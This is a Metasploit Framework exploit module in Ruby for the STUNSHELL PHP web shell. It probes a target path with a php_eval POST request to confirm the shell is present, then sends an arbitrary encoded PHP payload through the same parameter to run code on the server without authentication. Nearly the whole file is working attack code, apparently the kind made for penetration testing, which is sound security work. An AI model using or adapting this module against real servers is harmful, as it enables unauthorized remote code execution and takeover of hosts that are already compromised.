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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={}) super(update_info(info, 'Name' => 'STUNSHELL Web Shell Remote PHP Code Execution', 'Description' => %q{ This module exploits unauthenticated versions of the "STUNSHELL" web shell. This module works when safe mode is enabled on the web server. This shell is widely used in automated RFI payloads. }, 'License' => MSF_LICENSE, 'Author' => [ 'bwall <bwall[at]openbwall.com>' # vuln discovery & msf module ], 'References' => [ ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'], ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007'] ], 'Privileged' => false, 'Payload' => { 'Keys' => ['php'], 'Space' => 10000, 'DisableNops' => true }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['stunshell', {}] ], 'DisclosureDate' => 'Mar 23 2013', 'DefaultTarget' => 0))
register_options( [ OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]), ],self.class) end
def check uri = normalize_uri(target_uri.path.to_s) request_parameters = { 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'cmd' => "php_eval", 'php_eval' => "print 'andalas_oku test parameter';" } } shell = send_request_cgi(request_parameters) if (shell and shell.body =~ /andalas_oku test parameter/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end
def http_send_command(cmd) uri = normalize_uri(target_uri.path.to_s) request_parameters = { 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'cmd' => "php_eval", "php_eval" => cmd } } res = send_request_cgi(request_parameters) end
def exploit http_send_command(payload.encoded) end end
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